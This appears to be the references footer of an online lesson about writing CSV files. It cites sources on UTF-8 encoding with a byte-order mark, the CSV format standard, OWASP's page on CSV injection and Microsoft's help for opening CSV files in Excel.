- codecs: the utf-8-sig encoding (Python Software Foundation)
- RFC 4180: Common Format and MIME Type for Comma-Separated Values (CSV) Files (Internet Engineering Task Force)
- CSV Injection (OWASP Foundation)
- Opening CSV UTF-8 files correctly in Excel (Microsoft)
- Import or export text (.txt or .csv) files (Microsoft)
Related tools
Report a problem with this lesson
Kept only in this browser. Your Learn progress